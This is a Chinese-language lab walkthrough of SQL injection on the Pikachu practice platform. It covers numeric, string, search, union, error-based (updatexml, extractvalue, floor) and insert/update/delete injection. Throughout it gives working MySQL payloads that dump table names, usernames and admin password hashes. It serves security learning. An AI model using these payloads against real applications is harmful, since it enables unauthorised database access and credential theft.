一、产生原因
SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
二、攻击流程
三、注入点类型
数字型注入(POST)
打开pikachu,找到数字型注入(POST),这里可以选择userid 返回用户名和邮箱
可以看出来这是一个数字查询,抓包看看一下也可以看出来这是一个post方法。
看到id,我们可以猜想直接修改id是否可以成功执行。(id修改成1 or 1=1)
修改id后可以看出来查询,我们可以猜想后台出现SQL漏洞,猜想SQL语句为
select name,email from table where id = $id
所以我们修改之后的id =1 or 1=1,就会变成
select name,email from table where id = 1 or 1=1
因为 1=1 肯定为成立,所以我们可以将所以的成员查出来。
字符型注入
打开网页找到字符型输入kobe
我们也可以猜想查询语句
select name,email from table where id = \'$name\'
当我们输入 kobe\' or \'1\'=\'1
查询语句就是,当然我们也可以通过注释来输入比如kobe\' or 1=1#
。
select name,email from table where id = \'kobe\' or \'1\'=\'1\'
这样我们可以查询所以成员
这样我们就攻击成功了。
搜索型注入
打开网页我们可以发现,可以输入一部分即可查找。
猜想后台查询语句
select name,email from table where id = \'%$name%\'
这样我们就可以构造攻击语句
select name,email from table where id = \'%k%\' or 1=1#
select name,email from table where id = \'%k%\' or \'1\'=\'1\'#%\'
这样我们可以尝试攻击输入k%\' or \'1\'=\'1\'#
或者k%\' or 1=1#
这样我们就攻击成功了。
xx型注入
这里我们可以先查看后后台代码
想着尝试怎么去攻击a\') or 1=1#
尝试攻击
这样我们就攻击成功了。
union联合查询的信息获取
通过联合查询来查询指定的数据,比如下面的语句
select 字段1,字段2 from user where id=1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询一致。
我们可以通过用databases(),user(),version()查询数据库的数据库、用户和版本信息。
select database(); select user(); select version();
使用 union 需要知道主查询有多少个 字段,我们可以用 order by 来帮助我们猜测后台查询语句查询的字段数
select 字段1,字段2 from users order by 1
后面跟着的数字表示根据查询结果的第几列进行排序,如果后台查询 2 个字段,那我们 order by 3 时就会报错,order by 2 时会正常返回。(一般用二分法)
通过information_schema拿下数据库
通过 pikachu 平台的字符型注入进行演示。
1.确定有没有注入点:
们先输入一个单引号,提交后后台报错,说SQL语句错误,说明存在注入点。
2.显示所有的数据:
然后构造payload(a\' or 1=1#),可以取出表中的全部数据
3.确认主查询有多少个字段:
用 order by 确认主查询有多少个字段依次输入以下代码在对话框。
\' or 1=1 order by 1#
\' or 1=1 order by 2#
\' or 1=1 order by 3#
当 odery by 3时报错,说明主查询中有 2 个字段
4.获得当前数据库名称:
通过\' union select database(),user() #
可以发现数据库是pikachu
5.通过已经获取的数据库来查询数据库中的表名
对话框输入\' union select table_schema,table_name from information_schema.tables where table_schema=\'pikachu\' #
6.有了表名后,我们查询表中的列名,比如查询 users 这个表:
对话框\' union select table_name,column_name from information_schema.columns where table_name=\'users\' #
7.通过数据库,表,列名盗窃用户的信息:
对话框\' union select username,password from users #
通过图我们可以看到我们得到用户经过md5加密的密码
我们可以通过这来破解用户密码
函数报错注入,updatexml()、extractvalue()、floor()
三个常用函数
updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
floor():MySQL中用来取整的函数
updatexml()
updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值
语法:UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
XPath 定位必须是有效的,否则会发生错误
在 pikachu 平台上的字符型注入中实验
比如我们输入\' and updatexml(1, version(), 0)#
我们传入 updatexml 中的三个参数都是错误的,中间那个值可以用表达式写入。执行后会得到类似错误
如果我们构造\' and updatexml(1, concat(0x7e, version()) 0)#
,会把报错信息和我们查询的信息一起输出(0x7e是符号 “~” 的16进制)
这样我们可以看到MySQL版本,这样我们把 version() 换成 database() 就能取得数据库的名称
当我们知道了数据名我们继续查询表名
\' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=\'pikachu\')), 0)#
我们会发现会报错,Subquery returns more than 1 row
们在刚刚的 payload 后面用 limit 关键字,限制取回的结果
\' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=\'pikachu\' limit 0,1)), 0)#
上面会返回第一个表的名称
limit后的第一个是起始位置,第二个数字是取出的数据条数,这样我们可以获取所以的表名。
有了表的名称后我们就去获取字段
\' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name=\'users\' limit 0,1)), 0)#
取出所有的列名。我们就能去取数据了
\' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#
然后根据得到的用户名,去查询password
\' and updatexml(1, concat(0x7e, (select password from users where username = \'admin\' limit 0,1)), 0)#
extractvalue()
extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串
语法:ExtractValue(xml_document, XPathstring)
第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
第二个参数: XPathstring,XPath 格式的字符串
Xpath定位必须有效,否则会发生错误。
同样在字符型漏洞中实验,构造以下 payload
\' and extractvalue(1, concat(0x7e,database())) #
它跟 updatexml 使用起来效果是一样的这里就不多说啦。
floor()
向下取整。如果要用 floor() 构成报错,必须满足下面的条件
运算中有 count
运算中有 group by
运算中有 rand
\' and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)#
上面表达式执行的结果会以 “a” 作为别名,然后在 字符型注入 中提交,会得到下面的报错
我们可以把 version() 的表达式替换成别的表达式
\' and (select 2 from (select count(*), concat((select password from users where username=\'admin\' limit 0,1), floor(rand(0) * 2))x from information_schema.tables group by x)a)#
insert/update/delete注入
insert
insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入
注册页面存在注入漏洞
们就填必填的两项,用户那里输入单引号,密码随便输入,这时页面会有报错信息,说明存在SQL注入漏洞
这样我们可以推断后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。猜测一下后端代码可能是
insert into member(username,pw,sex,phonenum,email,adderss) values(\'eee\', 11111, 1, 2, 3, 4);
构造下面的 payload
eee\' or updatexml(1, concat(0x7e,database()), 0) or \'
这错误都熟悉吧接下来的操作类似于updatexml。
update
与insert差不多,就是我们登陆修改个人信息的时候填入我们刚刚构造的 payload,然后提交也能得到相应的结果
eee\' or updatexml(1, concat(0x7e,database()), 0) or \'
delete
首先我们输入一个1,如何删除,抓包看一下。
实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言,并且我们可以看出来这是一个数字型的,这样我们可以构造的 payload。
2 or updatexml(1, concat(0x7e,database()), 0)
这需要URL编码id。